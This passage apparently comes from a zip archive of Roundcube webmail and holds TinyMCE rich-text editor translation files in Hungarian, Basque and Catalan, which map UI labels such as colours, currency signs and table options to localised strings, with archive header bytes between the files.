"Row type": "Sor t\u00edpus",
"Header": "Fejl\u00e9c",
"Body": "Sz\u00f6vegt\u00f6rzs",
"Footer": "L\u00e1bl\u00e9c",
"Border color": "Szeg\u00e9ly sz\u00edne",
"Insert template...": "Sablon besz\u00far\u00e1sa...",
"Templates": "Sablonok",
"Template": "Sablon",
"Text color": "Sz\u00f6veg sz\u00edne",
"Background color": "H\u00e1tt\u00e9r sz\u00edn",
"Custom...": "Egy\u00e9ni...",
"Custom color": "Egy\u00e9ni sz\u00edn",
"No color": "Nincs sz\u00edn",
"Remove color": "Sz\u00edn t\u00f6rl\u00e9se",
"Table of Contents": "Tartalomjegyz\u00e9k",
"Show blocks": "Blokkok mutat\u00e1sa",
"Show invisible characters": "L\u00e1thatatlan karakterek mutat\u00e1sa",
"Word count": "Szavak sz\u00e1ma",
"Count": "Sz\u00e1m",
"Document": "Dokumentum",
"Selection": "Kiv\u00e1laszt\u00e1s",
"Words": "Szavak",
"Words: {0}": "Szavak: {0}",
"{0} words": "{0} sz\u00f3",
"File": "F\u00e1jl",
"Edit": "Szerkeszt\u00e9s",
"Insert": "Beilleszt\u00e9s",
"View": "N\u00e9zet",
"Format": "Form\u00e1tum",
"Table": "T\u00e1bl\u00e1zat",
"Tools": "Eszk\u00f6z\u00f6k",
"Powered by {0}": "\u00dczemelteti: {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Rich Text ter\u00fclet. Nyomj ALT-F9-et a men\u00fch\u00f6z. Nyomj ALT-F10-et az eszk\u00f6zt\u00e1rhoz. Nyomj ALT-0-t a s\u00fag\u00f3hoz",
"Image title": "K\u00e9p c\u00edme",
"Border width": "Szeg\u00e9ly vastags\u00e1ga",
"Border style": "Szeg\u00e9ly st\u00edlusa",
"Error": "Hiba",
"Warn": "Figyelmeztet\u00e9s",
"Valid": "\u00c9rv\u00e9nyes",
"To open the popup, press Shift+Enter": "A felugr\u00f3 ablak megnyit\u00e1s\u00e1hoz nyomja meg a Shift+Enter billenty\u0171t",
"Rich Text Area. Press ALT-0 for help.": "Vizu\u00e1lis szerkeszt\u0151 ter\u00fclet. Nyomjon ALT-0-t a s\u00fag\u00f3hoz.",
"System Font": "Rendszer-bet\u0171t\u00edpus",
"Failed to upload image: {0}": "Nem siker\u00fclt felt\u00f6lteni a k\u00e9pet: {0}",
"Failed to load plugin: {0} from url {1}": "Nem siker\u00fclt bet\u00f6lteni a be\u00e9p\u00fcl\u0151 modult: {0} err\u0151l a webc\u00edmr\u0151l: {1}",
"Failed to load plugin url: {0}": "Nem siker\u00fclt bet\u00f6lteni a be\u00e9p\u00fcl\u0151 modul url-\u00e9t: {0}",
"Failed to initialize plugin: {0}": "Nem siker\u00fclt inicializ\u00e1lni a be\u00e9p\u00fcl\u0151 modult: {0}",
"example": "p\u00e9lda",
"Search": "Keres\u00e9s",
"All": "Minden",
"Currency": "P\u00e9nznem",
"Text": "Sz\u00f6veg",
"Quotations": "Id\u00e9z\u0151jelek",
"Mathematical": "Matematikai",
"Extended Latin": "B\u0151v\u00edtett latin",
"Symbols": "Szimb\u00f3lumok",
"Arrows": "Nyilak",
"User Defined": "Felhaszn\u00e1l\u00f3 \u00e1ltal meghat\u00e1rozott",
"dollar sign": "doll\u00e1r jel",
"currency sign": "valuta jel",
"euro-currency sign": "euro-valuta jel",
"colon sign": "kett\u0151spont",
"cruzeiro sign": "cruzeiro jel",
"french franc sign": "francia frank jel",
"lira sign": "l\u00edra jel",
"mill sign": "mill jel",
"naira sign": "naira jel",
"peseta sign": "peseta jel",
"rupee sign": "r\u00fapia jel",
"won sign": "won jel",
"new sheqel sign": "\u00faj shekel jel",
"dong sign": "dong jel",
"kip sign": "kip jel",
"tugrik sign": "tugrik jel",
"drachma sign": "drachma jel",
"german penny symbol": "n\u00e9met penny jel",
"peso sign": "peso jel",
"guarani sign": "guarani jel",
"austral sign": "austral jel",
"hryvnia sign": "hrivnya jel",
"cedi sign": "cedi jel",
"livre tournois sign": "livre tournois jel",
"spesmilo sign": "spesmilo jel",
"tenge sign": "tenge jel",
"indian rupee sign": "r\u00fapel jel",
"turkish lira sign": "t\u00f6r\u00f6k l\u00edra jel",
"nordic mark sign": "\u00e9szaki m\u00e1rka jel",
"manat sign": "manat jel",
"ruble sign": "rubel jel",
"yen character": "jen karakter",
"yuan character": "j\u00fcan karakter",
"yuan character, in hong kong and taiwan": "hongkongi \u00e9s tajvani j\u00fcan karakter",
"yen\/yuan character variant one": "jen\/j\u00fcan karaktervari\u00e1ns",
"Loading emoticons...": "Hangulatjelek bet\u00f6lt\u00e9se...",
"Could not load emoticons": "Nem siker\u00fclt a hangulatjelek bet\u00f6lt\u00e9se",
"People": "Emberek",
"Animals and Nature": "\u00c1llatok \u00e9s term\u00e9szet",
"Food and Drink": "\u00c9tel, ital",
"Activity": "Tev\u00e9kenys\u00e9gek",
"Travel and Places": "Utaz\u00e1s \u00e9s helyek",
"Objects": "T\u00e1rgyak",
"Flags": "Z\u00e1szl\u00f3k",
"Characters": "Karakterek",
"Characters (no spaces)": "Karakterek (sz\u00f3k\u00f6z\u00f6k n\u00e9lk\u00fcl)",
"{0} characters": "{0} karakter",
"Error: Form submit field collision.": "Hiba: \u00dctk\u00f6z\u00e9s t\u00f6rt\u00e9nt az \u0171rlap elk\u00fcld\u00e9sekor.",
"Error: No form element found.": "Hiba: Nem tal\u00e1lhat\u00f3 \u0171rlap elem.",
"Update": "Friss\u00edt\u00e9s",
"Color swatch": "Sz\u00ednpaletta",
"Turquoise": "T\u00fcrkiz",
"Green": "Z\u00f6ld",
"Blue": "K\u00e9k",
"Purple": "Lila",
"Navy Blue": "Tengerk\u00e9k",
"Dark Turquoise": "S\u00f6t\u00e9tt\u00fcrkiz",
"Dark Green": "S\u00f6t\u00e9tz\u00f6ld",
"Medium Blue": "Kir\u00e1lyk\u00e9k",
"Medium Purple": "K\u00f6z\u00e9plila",
"Midnight Blue": "\u00c9jf\u00e9lk\u00e9k",
"Yellow": "S\u00e1rga",
"Orange": "Narancss\u00e1rga",
"Red": "Piros",
"Light Gray": "Vil\u00e1gossz\u00fcrke",
"Gray": "Sz\u00fcrke",
"Dark Yellow": "S\u00f6t\u00e9ts\u00e1rga",
"Dark Orange": "S\u00f6t\u00e9t narancss\u00e1rga",
"Dark Red": "S\u00f6t\u00e9tv\u00f6r\u00f6s",
"Medium Gray": "K\u00f6z\u00e9psz\u00fcrke",
"Dark Gray": "S\u00f6t\u00e9tsz\u00fcrke",
"Light Green": "Vil\u00e1gosz\u00f6ld",
"Light Yellow": "Vil\u00e1goss\u00e1rga",
"Light Red": "Vil\u00e1gospiros",
"Light Purple": "Vil\u00e1goslila",
"Light Blue": "Vil\u00e1gosk\u00e9k",
"Dark Purple": "S\u00f6t\u00e9tlila",
"Dark Blue": "S\u00f6t\u00e9tk\u00e9k",
"Black": "Fekete",
"White": "Feh\u00e9r",
"Switch to or from fullscreen mode": "Teljes vagy norm\u00e1l k\u00e9perny\u0151s m\u00f3dra v\u00e1lt\u00e1s",
"Open help dialog": "S\u00fag\u00f3ablak megnyit\u00e1sa",
"history": "el\u0151zm\u00e9nyek",
"styles": "st\u00edlusok",
"formatting": "form\u00e1z\u00e1s",
"alignment": "igaz\u00edt\u00e1s",
"indentation": "beh\u00faz\u00e1s",
"Font": "Bet\u0171t\u00edpus",
"Size": "M\u00e9ret",
"More...": "Tov\u00e1bbiak...",
"Select...": "V\u00e1lasszon...",
"Preferences": "Preferenci\u00e1k",
"Yes": "Igen",
"No": "Nem",
"Keyboard Navigation": "Billenty\u0171zettel val\u00f3 navig\u00e1l\u00e1s",
"Version": "Verzi\u00f3",
"Code view": "K\u00f3d n\u00e9zet",
"Open popup menu for split buttons": "Felugr\u00f3 men\u00fc megnyit\u00e1sa az osztott gombokhoz",
"List Properties": "Lista tulajdons\u00e1gai",
"List properties...": "Lista tulajdons\u00e1gai...",
"Start list at number": "Lista kezd\u00e9se ett\u0151l a sz\u00e1mt\u00f3l",
"Line height": "Sor magass\u00e1ga",
"comments": "megjegyz\u00e9sek",
"Format Painter": "Form\u00e1tumm\u00e1sol\u00f3",
"Insert\/edit iframe": "iframe besz\u00far\u00e1sa\/szerkeszt\u00e9se",
"Capitalization": "Nagybet\u0171s \u00edr\u00e1s",
"lowercase": "kisbet\u0171s",
"UPPERCASE": "NAGYBET\u0170S",
"Title Case": "C\u00edm szerinti \u00edr\u00e1sm\u00f3d",
"permanent pen": "sz\u00f6vegkiemel\u0151",
"Permanent Pen Properties": "Tart\u00f3s toll tulajdons\u00e1gai",
"Permanent pen properties...": "Tart\u00f3s toll tulajdons\u00e1gai...",
"case change": "esetv\u00e1lt\u00e1s",
"page embed": "oldal be\u00e1gyaz\u00e1s",
"Advanced sort...": "Speci\u00e1lis rendez\u00e9s... ",
"Advanced Sort": "Speci\u00e1lis rendez\u00e9s",
"Sort table by column ascending": "T\u00e1bl\u00e1zat rendez\u00e9se oszlop szerint n\u00f6vekv\u0151 sorrendben",
"Sort table by column descending": "T\u00e1bl\u00e1zat rendez\u00e9se oszlop szerint cs\u00f6kken\u0151 sorrendben",
"Sort": "Rendez\u00e9s",
"Order": "Sorrend",
"Sort by": "Rendez\u00e9s",
"Ascending": "N\u00f6vekv\u0151",
"Descending": "Cs\u00f6kken\u0151",
"Column {0}": "Oszlop {0}",
"Row {0}": "Sor {0}",
"Spellcheck...": "Helyes\u00edr\u00e1s ellen\u0151rz\u00e9s...",
"Misspelled word": "Helytelen\u00fcl \u00edrt sz\u00f3",
"Suggestions": "Javaslatok",
"Change": "V\u00e1ltoz\u00e1s",
"Finding word suggestions": "Sz\u00f3javaslatok keres\u00e9se",
"Success": "Siker",
"Repair": "Jav\u00edt\u00e1s",
"Issue {0} of {1}": "Probl\u00e9ma {0} - {1}",
"Images must be marked as decorative or have an alternative text description": "A k\u00e9peket dekor\u00e1ci\u00f3k\u00e9nt kell megjel\u00f6lni, vagy alternat\u00edv sz\u00f6veges le\u00edr\u00e1ssal kell ell\u00e1tni",
"Images must have an alternative text description. Decorative images are not allowed.": "A k\u00e9peknek alternat\u00edv sz\u00f6veges le\u00edr\u00e1ssal kell rendelkezni\u00fck. Dekor\u00e1ci\u00f3s k\u00e9pek nem megengedettek.",
"Or provide alternative text:": "Vagy adjon meg alternat\u00edv sz\u00f6veget:",
"Make image decorative:": "Dekor\u00e1ci\u00f3s k\u00e9p:",
"ID attribute must be unique": "Az azonos\u00edt\u00f3 attrib\u00fatumnak egyedinek kell lennie",
"Make ID unique": "Egyedi azonos\u00edt\u00f3 l\u00e9trehoz\u00e1sa",
"Keep this ID and remove all others": "Ennek kiv\u00e9tel\u00e9vel az \u00f6sszes azonos\u00edt\u00f3 elt\u00e1vol\u00edt\u00e1sa",
"Remove this ID": "Azonos\u00edt\u00f3 elt\u00e1vol\u00edt\u00e1sa",
"Remove all IDs": "\u00d6sszes azonos\u00edt\u00f3 elt\u00e1vol\u00edt\u00e1sa",
"Checklist": "Ellen\u0151rz\u0151 lista",
"Anchor": "Horgony",
"Special character": "Speci\u00e1lis karakter",
"Code sample": "K\u00f3d p\u00e9lda",
"Color": "Sz\u00edn",
"Document properties": "Dokumentum tulajdons\u00e1gai",
"Image description": "K\u00e9p le\u00edr\u00e1sa",
"Image": "K\u00e9p",
"Insert link": "Hivatkoz\u00e1s beilleszt\u00e9se",
"Target": "C\u00e9l",
"Link": "Hivatkoz\u00e1s",
"Poster": "El\u0151n\u00e9zeti k\u00e9p",
"Media": "M\u00e9dia",
"Print": "Nyomtat\u00e1s",
"Prev": "El\u0151z\u0151",
"Find and replace": "Keres\u00e9s \u00e9s csere",
"Whole words": "Csak ha ez a teljes sz\u00f3",
"Insert template": "Sablon beilleszt\u00e9se"
});PK
h�\�Yp&�;�;program/js/tinymce/langs/eu.jsnu�[���tinymce.addI18n('eu',{
"Redo": "Berregin",
"Undo": "Desegin",
"Cut": "Ebaki",
"Copy": "Kopiatu",
"Paste": "Itsatsi",
"Select all": "Hautatu dena",
"New document": "Dokumentu berria",
"Ok": "Ondo",
"Cancel": "Ezeztatu",
"Visual aids": "Laguntza bisualak",
"Bold": "Lodia",
"Italic": "Etzana",
"Underline": "Azpimarratua",
"Strikethrough": "Marratua",
"Superscript": "Goi-indizea",
"Subscript": "Azpiindizea",
"Clear formatting": "Ezabatu formatua",
"Align left": "Lerrokatu ezkerrean",
"Align center": "Lerrokatu erdian",
"Align right": "Lerrokatu eskuinean",
"Justify": "Justifikatuta",
"Bullet list": "Bulet zerrenda",
"Numbered list": "Zenbaki-zerrenda",
"Decrease indent": "Txikitu koska",
"Increase indent": "Handitu koska",
"Close": "Itxi",
"Formats": "Formatuak",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Zure nabigatzaileak ez du arbela zuzenean erabiltzeko euskarririk. Mesedez erabili CTRL+X\/C\/V teklatuko lasterbideak.",
"Headers": "Goiburuak",
"Header 1": "1. goiburua",
"Header 2": "2. goiburua",
"Header 3": "3. goiburua",
"Header 4": "4. goiburua",
"Header 5": "5. goiburua",
"Header 6": "6. goiburua",
"Headings": "Izenburuak",
"Heading 1": "1. izenburua",
"Heading 2": "2. izenburua",
"Heading 3": "3. izenburua",
"Heading 4": "4. izenburua",
"Heading 5": "5. izenburua",
"Heading 6": "6. izenburua",
"Preformatted": "Aurreformateatuta",
"Div": "Div",
"Pre": "Pre",
"Code": "Kodea",
"Paragraph": "Paragrafoa",
"Blockquote": "Blockquote",
"Inline": "Txertatuta",
"Blocks": "Blokeak",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Itsatsi testu arrunt moduan dago orain. Edukiak testu arruntak bezala itsatsiko dira aukera hau itzaltzen duzunera arte.",
"Fonts": "Letra-motak",
"Font Sizes": "Letra-tamainak",
"Class": "Klasea",
"Browse for an image": "Irudia arakatu",
"OR": "EDO",
"Drop an image here": "Irudia hona ekarri",
"Upload": "Kargatu",
"Block": "Blokea",
"Align": "Lerrokatu",
"Default": "Lehenetstia",
"Circle": "Zirkulua",
"Disc": "Diskoa",
"Square": "Karratua",
"Lower Alpha": "Behe alfa",
"Lower Greek": "Behe grekoa",
"Lower Roman": "Behe erromatarra",
"Upper Alpha": "Goi alfa",
"Upper Roman": "Goi erromatarra",
"Anchor...": "Aingura...",
"Name": "Izena",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Ida hizki batekin hasi behar da, jarraian hizkiak, zenbakiak, gidoiak, puntuak, bi-puntu edo azpiko marrak bakarrik izan ditzake.",
"You have unsaved changes are you sure you want to navigate away?": "Gorde gabeko aldaketak dituzu, zihur zaude hemendik irten nahi duzula?",
"Restore last draft": "Leheneratu azken zirriborroa",
"Special character...": "Karaktere bereziak...",
"Source code": "Iturburu-kodea",
"Insert\/Edit code sample": "Txertatu\/editatu kode adibidea",
"Language": "Hizkuntza",
"Code sample...": "Kode adibidea...",
"Color Picker": "Kolore-hautatzailea",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Ezkerretik eskuinera",
"Right to left": "Eskuinetik ezkerrera",
"Emoticons...": "Emotikonoak...",
"Metadata and Document Properties": "Metadatuak eta dokumentuaren propietateak",
"Title": "Titulua",
"Keywords": "Hitz gakoak",
"Description": "Deskribapena",
"Robots": "Robotak",
"Author": "Egilea",
"Encoding": "Encoding",
"Fullscreen": "Pantaila osoa",
"Action": "Akzioa",
"Shortcut": "Laster tekla",
"Help": "Laguntza",
"Address": "Helbidea",
"Focus to menubar": "Fokoa menu-barrara eraman",
"Focus to toolbar": "Fokoa tresna-barrara eraman",
"Focus to element path": "Fokoa elementuaren bidera eraman",
"Focus to contextual toolbar": "Fokoa kontestuko tresna-barrara eraman",
"Insert link (if link plugin activated)": "Lotura txertatu (lotura plugina aktibatuta badago)",
"Save (if save plugin activated)": "Gorde (gordetzeko plugina aktibatuta badago)",
"Find (if searchreplace plugin activated)": "Bilatu (bilatuordezkatu plugina instalatuta badago)",
"Plugins installed ({0}):": "Instalatutako pluginak ({0}):",
"Premium plugins:": "Premium pluginak:",
"Learn more...": "Gehiago ikasi...",
"You are using {0}": "{0} erabiltzen ari zara",
"Plugins": "Pluginak",
"Handy Shortcuts": "Laster-tekla erabilgarriak",
"Horizontal line": "Marra horizontala",
"Insert\/edit image": "Irudia txertatu\/editatu",
"Image description": "Irudiaren deskribapena",
"Source": "Iturburua",
"Dimensions": "Neurriak",
"Constrain proportions": "Zerraditu proportzioak",
"General": "Orokorra",
"Advanced": "Aurreratua",
"Style": "Estiloa",
"Vertical space": "Hutsune bertikala",
"Horizontal space": "Hutsune horizontala",
"Border": "Ertza",
"Insert image": "Irudia txertatu",
"Image...": "Irudia...",
"Image list": "Irudi zerrenda",
"Rotate counterclockwise": "Erlojuaren aurkako eran biratu",
"Rotate clockwise": "Erlojuaren eran biratu",
"Flip vertically": "Bertikalki irauli",
"Flip horizontally": "Horizontalki irauli",
"Edit image": "Irudia editatu",
"Image options": "Irudiaren aukerak",
"Zoom in": "Zooma handiagotu",
"Zoom out": "Zooma txikiagotu",
"Crop": "Moztu",
"Resize": "Tamaina aldatu",
"Orientation": "Orientazioa",
"Brightness": "Distira",
"Sharpen": "Zorroztu",
"Contrast": "Kontrastatu",
"Color levels": "Kolore mailak",
"Gamma": "Gamma",
"Invert": "Biratu",
"Apply": "Gorde",
"Back": "Atzera",
"Insert date\/time": "Data\/ordua txertatu",
"Date\/time": "Data\/ordua",
"Insert\/Edit Link": "Lotura txertatu\/aldatu...",
"Insert\/edit link": "Esteka txertatu\/editatu",
"Text to display": "Bistaratzeko testua",
"Url": "Url",
"Open link in...": "Lotura hemen ireki...",
"Current window": "Leiho hau",
"None": "Bat ere ez",
"New window": "Lehio berria",
"Remove link": "Kendu esteka",
"Anchors": "Estekak",
"Link...": "Esteka...",
"Paste or type a link": "Itsatsu edo idatzi lotura",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "Sartu duzun URL-ak e-posta helbidea dela dirudi. Nahi duzu dagokion mailto: aurrizkia gehitzea?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "Sartu duzun URL-ak kanpoko esteka dela dirudi. Nahi duzu dagokion http:\/\/ aurrizkia gehitzea?",
"Link list": "Loturen zerrenda",
"Insert video": "Bideoa txertatu",
"Insert\/edit video": "Bideoa txertatu\/editatu",
"Insert\/edit media": "Media txertatu\/editatu",
"Alternative source": "Iturburu alternatiboa",
"Alternative source URL": "Ordezko jatorri URL-a",
"Media poster (Image URL)": "Media posterra (irudiaren URL-a)",
"Paste your embed code below:": "Itsatsi hemen zure enkapsulatzeko kodea:",
"Embed": "Kapsulatu",
"Media...": "Multimedia...",
"Nonbreaking space": "Zuriune zatiezina",
"Page break": "Orrialde-jauzia",
"Paste as text": "Itsatsi testu bezala",
"Preview": "Aurrebista",
"Print...": "Inprimatu...",
"Save": "Gorde",
"Find": "Bilatu",
"Replace with": "Honekin ordeztu",
"Replace": "Ordeztu",
"Replace all": "Ordeztu dena",
"Previous": "Aurrekoa",
"Next": "Hurrengoa",
"Find and replace...": "Bilatu eta ordezkatu...",
"Could not find the specified string.": "Ezin izan da zehaztutako katea aurkitu.",
"Match case": "Maiuskula\/minuskula",
"Find whole words only": "Hitz osoak bakarrik bilatu",
"Spell check": "Hizkuntza zuzenketa",
"Ignore": "Ez ikusi",
"Ignore all": "Ez ikusi guztia",
"Finish": "Amaitu",
"Add to Dictionary": "Hiztegira gehitu",
"Insert table": "Txertatu taula",
"Table properties": "Taularen propietateak",
"Delete table": "Taula ezabatu",
"Cell": "Gelaxka",
"Row": "Errenkada",
"Column": "Zutabea",
"Cell properties": "Gelaxkaren propietateak",
"Merge cells": "Batu gelaxkak",
"Split cell": "Banatu gelaxkak",
"Insert row before": "Txertatu errenkada aurretik",
"Insert row after": "Txertatu errenkada ostean",
"Delete row": "Ezabatu errenkada",
"Row properties": "Errenkadaren propietateak",
"Cut row": "Ebaki errenkada",
"Copy row": "Kopiatu errenkada",
"Paste row before": "Itsatsi errenkada aurretik",
"Paste row after": "Itsatsi errenkada ostean",
"Insert column before": "Txertatu zutabe aurretik",
"Insert column after": "Txertatu zutabea ostean",
"Delete column": "Ezabatu zutabea",
"Cols": "Zutabeak",
"Rows": "Errenkadak",
"Width": "Zabalera",
"Height": "Altuera",
"Cell spacing": "Gelaxka arteko tartea",
"Cell padding": "Gelaxken betegarria",
"Show caption": "Erakutsi irudi-oina erakutsi",
"Left": "Ezkerra",
"Center": "Erdia",
"Right": "Eskuina",
"Cell type": "Gelaxka mota",
"Scope": "Esparrua",
"Alignment": "Lerrokatzea",
"H Align": "Lerrokatze horizontala",
"V Align": "Lerrokatze bertikala",
"Top": "Goian",
"Middle": "Erdian",
"Bottom": "Behean",
"Header cell": "Goiburuko gelaxka",
"Row group": "Lerro taldea",
"Column group": "Zutabe taldea",
"Row type": "Lerro mota",
"Header": "Goiburua",
"Body": "Gorputza",
"Footer": "Oina",
"Border color": "Inguruko marraren kolorea",
"Insert template...": "Txantiloia txertatu...",
"Templates": "Txantiloiak",
"Template": "Txantiloia",
"Text color": "Testuaren kolorea",
"Background color": "Atzeko kolorea",
"Custom...": "Pertsonalizatu",
"Custom color": "Pertsonalizatutako kolorea",
"No color": "Kolorerik ez",
"Remove color": "Kendu kolorea",
"Table of Contents": "Edukien taula",
"Show blocks": "Erakutsi blokeak",
"Show invisible characters": "Erakutsi karaktere izkutuak",
"Word count": "Hizki-kontaketa",
"Count": "Zenbatu",
"Document": "Dokumentua",
"Selection": "Aukera",
"Words": "Hitzak",
"Words: {0}": "Hitzak: {0}",
"{0} words": "{0} hitz",
"File": "Fitxategia",
"Edit": "Editatu",
"Insert": "Sartu",
"View": "Ikusi",
"Format": "Formatua",
"Table": "Taula",
"Tools": "Tresnak",
"Powered by {0}": "{0}rekin egina",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Testu aberastuko area. Sakatu ALT-F9 menurako. Sakatu ALT-F10 tresna-barrarako. Sakatu ALT-0 laguntzarako",
"Image title": "Irudiaren izenburua",
"Border width": "Ertzaren zabalera",
"Border style": "Ertzaren estiloa",
"Error": "Errorea",
"Warn": "Oharra",
"Valid": "Zuzena",
"To open the popup, press Shift+Enter": "Leiho berria irekitzeko, sakatu Shift+Enter",
"Rich Text Area. Press ALT-0 for help.": "Testu aberastuko area. Sakatu ALT-0 laguntza lortzeko.",
"System Font": "Sistemaren letra-mota",
"Failed to upload image: {0}": "Errorea gertatu da irudia igotzean: {0}",
"Failed to load plugin: {0} from url {1}": "Errorea gertatu da {0} plugina kargatzean {1} url-tik",
"Failed to load plugin url: {0}": "Errorea gertatu da pluginaren url-a kargatzean: {0}",
"Failed to initialize plugin: {0}": "Errorea gertatu da plugina hasieratzean: {0}",
"example": "adibidea",
"Search": "Bilatu",
"All": "Guztiak",
"Currency": "Moneta",
"Text": "Testua",
"Quotations": "Aipuak",
"Mathematical": "Matematika",
"Extended Latin": "Latin zabaldua",
"Symbols": "Ikurrak",
"Arrows": "Geziak",
"User Defined": "Erabiltzaileak definitutakoak",
"dollar sign": "dolarraren ikurra",
"currency sign": "monetaren ikurra",
"euro-currency sign": "euroaren ikurra",
"colon sign": "bi puntuen ikurra",
"cruzeiro sign": "cruzeiroaren ikurra",
"french franc sign": "libera frantsesaren ikurra",
"lira sign": "liraren ikurra",
"mill sign": "millaren ikurra",
"naira sign": "naira ikurra",
"peseta sign": "pezetaren ikurra",
"rupee sign": "rupiaren ikurra",
"won sign": "wonaren ikurra",
"new sheqel sign": "sheqel berriaren ikurra",
"dong sign": "dongaren ikurra",
"kip sign": "kiparen ikurra",
"tugrik sign": "tugrikaren ikurra",
"drachma sign": "drakmaren ikurra",
"german penny symbol": "alemaniako peniaren ikurra",
"peso sign": "pesoaren ikurra",
"guarani sign": "guaraniaren ikurra",
"austral sign": "australaren ikurra",
"hryvnia sign": "hryvniaren ikurra",
"cedi sign": "cediaren ikurra",
"livre tournois sign": "libre tournoisaren ikurra",
"spesmilo sign": "spesmiloaren ikurra",
"tenge sign": "tengearen ikurra",
"indian rupee sign": "indiako rupiaren ikurra",
"turkish lira sign": "lira turkiarraren ikurra",
"nordic mark sign": "iparraldeko markoaren ikurra",
"manat sign": "manataren ikurra",
"ruble sign": "rubloaren ikurra",
"yen character": "yenaren karakterea",
"yuan character": "yuanaren karakterea",
"yuan character, in hong kong and taiwan": "yuanaren karakterea, hong kong eta taiwanen",
"yen\/yuan character variant one": "yen\/yuan karakterearen 1go bariantea",
"Loading emoticons...": "Emotikonoak kargatzen...",
"Could not load emoticons": "Ezin izan dira emotikonoak kargatu",
"People": "Jendea",
"Animals and Nature": "Animaliak eta natura",
"Food and Drink": "Janari eta edaria",
"Activity": "Ekintzak",
"Travel and Places": "Bidaiak eta lekuak",
"Objects": "Objektuak",
"Flags": "Banderak",
"Characters": "Karaktereak",
"Characters (no spaces)": "Karaktereak (espaziorik gabe)",
"{0} characters": "{0} karaktere",
"Error: Form submit field collision.": "Errorea: formularioaren eremuetan talka gertatu da.",
"Error: No form element found.": "Errorea: ez da formularioa aurkitu.",
"Update": "Eguneratu",
"Color swatch": "Koloreak",
"Turquoise": "Turkesa",
"Green": "Berdea",
"Blue": "Urdina",
"Purple": "Morea",
"Navy Blue": "Itsas-urdina",
"Dark Turquoise": "Turkesa iluna",
"Dark Green": "Berde iluna",
"Medium Blue": "Tarteko urdina",
"Medium Purple": "Tarteko morea",
"Midnight Blue": "Gauerdiko urdina",
"Yellow": "Horia",
"Orange": "Laranja",
"Red": "Gorria",
"Light Gray": "Gris argia",
"Gray": "Grisa",
"Dark Yellow": "Hori iluna",
"Dark Orange": "Laranja iluna",
"Dark Red": "Gorri iluna",
"Medium Gray": "Tarteko grisa",
"Dark Gray": "Gris iluna",
"Light Green": "Berde argia",
"Light Yellow": "Hori argia",
"Light Red": "Gorri argia",
"Light Purple": "More argia",
"Light Blue": "Urdin argia",
"Dark Purple": "More iluna",
"Dark Blue": "Urdin iluna",
"Black": "Beltza",
"White": "Zuria",
"Switch to or from fullscreen mode": "Pantaila osoko modura joan edo handik itzuli",
"Open help dialog": "Laguntza elkarrizketa ireki",
"history": "historia",
"styles": "estiloak",
"formatting": "formatua",
"alignment": "lerrokatzea",
"indentation": "koska",
"permanent pen": "boligrafo iraunkorra",
"comments": "iruzkinak",
"Format Painter": "Formatua kopiatu",
"Insert\/edit iframe": "Txertatu\/editatu bideoa",
"Capitalization": "Letra larriak",
"lowercase": "Letra xeheak",
"UPPERCASE": "Maiuskula",
"Title Case": "Izenburu kasua",
"Permanent Pen Properties": "Boligrafo iraunkorraren ezaugarriak",
"Permanent pen properties...": "Boligrafo iraunkorraren ezaugarriak...",
"Font": "Letra-motak",
"Size": "Tamaina",
"More...": "Gehiago...",
"Spellcheck Language": "Zuzenketa ortografikoaren hizkuntza",
"Select...": "Aukeratu...",
"Preferences": "Lehentasunak",
"Yes": "Bai",
"No": "Ez",
"Keyboard Navigation": "Teklatuaren nabigazioa",
"Version": "Bertsioa",
"Anchor": "Esteka",
"Special character": "Karaktere bereziak",
"Code sample": "Kode adibidea",
"Color": "Kolorea",
"Emoticons": "Irrifartxoak",
"Document properties": "Dokumentuaren propietateak",
"Image": "Irudia",
"Insert link": "Esteka txertatu",
"Target": "Target",
"Link": "Lotura",
"Poster": "Poster-a",
"Media": "Media",
"Print": "Inprimatu",
"Prev": "Aurrekoa",
"Find and replace": "Bilatu eta ordeztu",
"Whole words": "hitz osoak",
"Spellcheck": "Egiaztapenak",
"Caption": "Epigrafea",
"Insert template": "Txertatu txantiloia"
});PK
h�\��ݯ=�=program/js/tinymce/langs/ca.jsnu�[���tinymce.addI18n('ca',{
"Redo": "Refer",
"Undo": "Desfer",
"Cut": "Retalla",
"Copy": "Copia",
"Paste": "Enganxa",
"Select all": "Seleccionar-ho tot",
"New document": "Nou document",
"Ok": "Acceptar",
"Cancel": "Cancel\u00b7la",
"Visual aids": "Assist\u00e8ncia visual",
"Bold": "Negreta",
"Italic": "Cursiva",
"Underline": "Subratllat",
"Strikethrough": "Barrat",
"Superscript": "Super\u00edndex",
"Subscript": "Sub\u00edndex",
"Clear formatting": "Eliminar format",
"Align left": "Alinea a l'esquerra",
"Align center": "Alinea al centre",
"Align right": "Alinea a la dreta",
"Justify": "Justificat",
"Bullet list": "Llista no ordenada",
"Numbered list": "Llista enumerada",
"Decrease indent": "Disminuir sagnat",
"Increase indent": "Augmentar sagnat",
"Close": "Tancar",
"Formats": "Formats",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "El vostre navegador no suporta l'acc\u00e9s directe al portaobjectes. Si us plau, feu servir les dreceres de teclat Ctrl+X\/C\/V.",
"Headers": "Encap\u00e7alaments",
"Header 1": "Encap\u00e7alament 1",
"Header 2": "Encap\u00e7alament 2",
"Header 3": "Encap\u00e7alament 3",
"Header 4": "Encap\u00e7alament 4",
"Header 5": "Encap\u00e7alament 5",
"Header 6": "Encap\u00e7alament 6",
"Headings": "Encap\u00e7alaments",
"Heading 1": "Encap\u00e7alament 1",
"Heading 2": "Encap\u00e7alament 2",
"Heading 3": "Encap\u00e7alament 3",
"Heading 4": "Encap\u00e7alament 4",
"Heading 5": "Encap\u00e7alament 5",
"Heading 6": "Encap\u00e7alament 6",
"Preformatted": "Preformatat",
"Div": "Div",
"Pre": "Pre",
"Code": "Codi",
"Paragraph": "Par\u00e0graf",
"Blockquote": "Cita",
"Inline": "En l\u00ednia",
"Blocks": "Blocs",
